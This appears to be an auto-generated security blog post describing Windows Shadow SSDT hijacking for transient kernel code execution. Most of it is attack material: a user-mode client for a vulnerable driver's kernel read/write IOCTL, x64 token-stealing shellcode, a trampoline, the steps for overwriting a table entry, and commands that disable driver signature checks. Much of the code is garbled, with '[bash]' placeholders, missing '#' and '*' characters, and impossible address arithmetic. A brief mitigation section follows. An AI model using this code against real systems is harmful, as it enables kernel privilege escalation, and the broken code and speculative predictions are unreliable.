Listen to this Post

Introduction
The Windows kernel separates system call services into two tables: the standard SSDT (ntoskrnl) and the Shadow SSDT (win32k.sys). Shadow SSDT hijacking exploits kernel read/write primitives—commonly obtained via driver vulnerabilities or DMA attacks—to redirect GUI-related syscalls, achieving transient kernel code execution without payload injection. This technique restores the original table entry after execution, evading traditional integrity checks and leaving minimal forensic artifacts.
Learning Objectives
- Differentiate between SSDT and Shadow SSDT, and understand why GUI syscalls (e.g.,
NtUserGetMessage) are attack vectors. - Use kernel read/write primitives to locate, modify, and restore Shadow SSDT function pointers.
- Implement a transient code execution payload by hijacking a win32k syscall and verify with WinDbg.
You Should Know
1. Shadow SSDT Architecture and Attack Surface
The Shadow SSDT resides in `win32k.sys` (or `win32kbase.sys` on newer Windows) and handles User32/GDI syscalls. Unlike the standard SSDT, its address is not exported but can be found via KeServiceDescriptorTableShadow. Attackers target this table because GUI syscalls are frequently invoked from user mode, offering a reliable hook point. A kernel read/write primitive (e.g., writing arbitrary QWORDs to kernel memory) allows overwriting a syscall’s function pointer to redirect execution.
WinDbg commands to inspect Shadow SSDT:
kd> dps nt!KeServiceDescriptorTableShadow kd> .load wntrexts; !kmsd
On a live kernel debugger: Find win32k base and traverse the table:
kd> lm m win32k kd> dd win32k!W32pServiceTable
2. Obtaining a Kernel Read/Write Primitive
Common sources: vulnerable IOCTL handlers, arbitrary MSR writes, or DMA attacks (e.g., PCILeech). For demonstration, assume a driver with an IOCTL that allows reading/writing 8 bytes at any physical/virtual kernel address. Below is a C user-mode client that triggers such a primitive:
// Assuming \.\VulnDriver supports IOCTL_READ_KERNEL and IOCTL_WRITE_KERNEL
define IOCTL_READ_KERNEL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
define IOCTL_WRITE_KERNEL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
typedef struct _KERNEL_RW {
ULONG64 Address;
ULONG64 Value;
} KERNEL_RW, PKERNEL_RW;
ULONG64 ReadKernel(HANDLE hDevice, ULONG64 address) {
KERNEL_RW req = { address, 0 };
DWORD bytes;
DeviceIoControl(hDevice, IOCTL_READ_KERNEL, &req, sizeof(req), &req, sizeof(req), &bytes, NULL);
return req.Value;
}
void WriteKernel(HANDLE hDevice, ULONG64 address, ULONG64 value) {
KERNEL_RW req = { address, value };
DWORD bytes;
DeviceIoControl(hDevice, IOCTL_WRITE_KERNEL, &req, sizeof(req), NULL, 0, &bytes, NULL);
}
3. Locating the Shadow SSDT Base Address
From kernel read primitive, walk KeServiceDescriptorTableShadow. The first 16 bytes are the standard SSDT (ntoskrnl), the next 16 bytes are the Shadow SSDT (win32k). On x64:
typedef struct _KSERVICE_TABLE_DESCRIPTOR {
ULONG64 Base; // pointer to service table array
ULONG32 Count; // number of entries
ULONG32 Limit; // unused
ULONG32 Number; // unused
} KSERVICE_TABLE_DESCRIPTOR, PKSERVICE_TABLE_DESCRIPTOR;
Find the Shadow Base:
HANDLE hDevice = CreateFile(L"\\.\VulnDriver", ...); ULONG64 kstd = ReadKernel(hDevice, (ULONG64)GetModuleHandle(L"ntoskrnl.exe") + offsetof(_KUSER_SHARED_DATA, ServiceTable)); // alternative: use nt!KeServiceDescriptorTableShadow symbol ULONG64 shadowBase = ReadKernel(hDevice, kstd + sizeof(KSERVICE_TABLE_DESCRIPTOR)); // second descriptor ULONG32 shadowCount = (ULONG32)ReadKernel(hDevice, kstd + sizeof(KSERVICE_TABLE_DESCRIPTOR) + 8);
4. Hijacking a Syscall Entry Step-by-Step
Target `NtUserGetMessage` (index 0x11C on older Win10; verify with `!w32ksd` in WinDbg). The goal: redirect to a trampoline that executes malicious code (e.g., elevate token) then jumps back to original function.
Step 1 – Allocate a shellcode stub in kernel memory (e.g., via `ExAllocatePool` or reuse a RW primitive to write into a known RW section). Example stub for token stealing (x64):
; Assumes RCX = current thread (KTHREAD), extract process, replace token mov rax, gs:[bash] ; KPCR->CurrentThread mov rax, [rax + 0b8h] ; Thread->Process (EPROCESS) mov rcx, [rax + 0x4b8] ; Process->Token (adjust offset per Windows version) and cl, 0xf0 ; Clear lower bits for _EX_FAST_REF push rcx mov rdx, [rax + 0x448] ; UniqueProcessId (System PID = 4) cmp rdx, 4 jne find_system mov rcx, [bash] ; dereference token mov [rax + 0x4b8], rcx ; replace token pop rcx ret find_system: mov rax, [rax + 0x448] ; loop eprocess list (simplified)
Write this stub at a known kernel address stubAddr.
Step 2 – Compute the new function pointer – must call stub then jump to original. Write a 14-byte trampoline at trampAddr:
// Trampoline: jmp stubAddr; then after stub returns, jmp [bash]
unsigned char trampoline[] = {
0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, // jmp qword ptr [rip+0] -> indirect jmp to stubAddr
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 // placeholder for original function
};
// Write trampoline at trampAddr, then set the 8-byte placeholder = originalFunc
Step 3 – Overwrite the Shadow SSDT entry (which is an array of 4-byte relative offsets on x64, not absolute pointers). Compute offset = (trampAddr – shadowBase) / 4. Write that offset to shadowBase + (index 4).
Step 4 – Trigger the syscall from user mode:
// Call NtUserGetMessage via win32u.dll typedef struct MSG MSG; HMODULE hWin32u = LoadLibrary(L"win32u.dll"); pNtUserGetMessage NtUserGetMessage = (pNtUserGetMessage)GetProcAddress(hWin32u, "NtUserGetMessage"); MSG msg; NtUserGetMessage(&msg, NULL, 0, 0); // Triggers hijacked path -> token elevated
5. Restoring the Original Entry (Transient Execution)
To avoid crash and detection, restore the original offset immediately after the syscall returns. Use a second kernel write:
WriteKernel(hDevice, shadowBase + (index 4), originalOffset);
For reliability, wrap the hijack in a mutex and reset in a `__finally` block. This technique is called “transient” because the hook lives only for the duration of one syscall.
6. Mitigation and Detection
- PatchGuard (Kernel Patch Protection) – on x64 systems, modifying SSDT/Shadow SSDT triggers a BSOD within minutes unless the primitive bypasses PatchGuard hooks (e.g., by temporarily disabling PG via vulnerable driver).
- HVCI (Hypervisor-protected Code Integrity) – virtualizes kernel memory, making direct writes to Shadow SSDT impossible without a hypervisor bypass.
- Detection with Sysmon EID 10 (ProcessAccess) and Kernel integrity checks – monitor for unexpected writes to `win32k` section.
- Recommended hardening: Enable HVCI, use Windows Defender System Guard, and audit drivers with Driver Verifier.
PowerShell command to check HVCI status:
Get-ComputerInfo -Property "DeviceGuard" Look for DeviceGuardSecurityServicesConfigured = 1 (HVCI)
- Practical Lab: Simulate with Custom Driver (Test Mode only)
For educational research, sign your test driver and enable testsigning:
bcdedit /set testsigning on bcdedit /set nointegritychecks on reboot
Then load a driver that exports a controlled `ZwQuerySystemInformation` hook to simulate RW primitive. Full code for the hijack (including token stealing stub and trampoline) is available at core-jmp.org (reference from original post).
What Undercode Say
- Transient hijacking leaves few traces – restoring the table after one syscall evades memory scanners and PatchGuard’s periodic checks.
- GUI syscalls are a persistent target – win32k.sys offers hundreds of rarely-audited syscalls, making Shadow SSDT an attractive pivot from any RW primitive.
- Defense-in-depth must include hypervisor layer – HVCI and Kernel DMA Protection are the only reliable mitigations against these attacks on modern Windows.
While Shadow SSDT hijacking has been documented since 2010, the rise of BYOVD (Bring Your Own Vulnerable Driver) attacks has revived its relevance. Attackers no longer need full arbitrary code execution; a simple RW primitive—obtained from a leaked game anti-cheat driver—is sufficient to compromise the kernel transiently. Blue teams should prioritize driver blacklisting and memory write telemetry over signature-based hook detection.
Prediction
By 2027, Microsoft will likely deprecate the legacy Shadow SSDT interface in favor of a fully hypervisor-enforced syscall dispatch for GUI operations, similar to the “Syscall User Dispatch” mechanism but with hardware virtualization. Until then, expect an increase in exploitation chaining DMA + vulnerable drivers to perform transient kernel hijacking—bypassing EDRs that monitor only standard SSDT hooks.
▶️ Related Video (72% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Abelousova Shadow – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


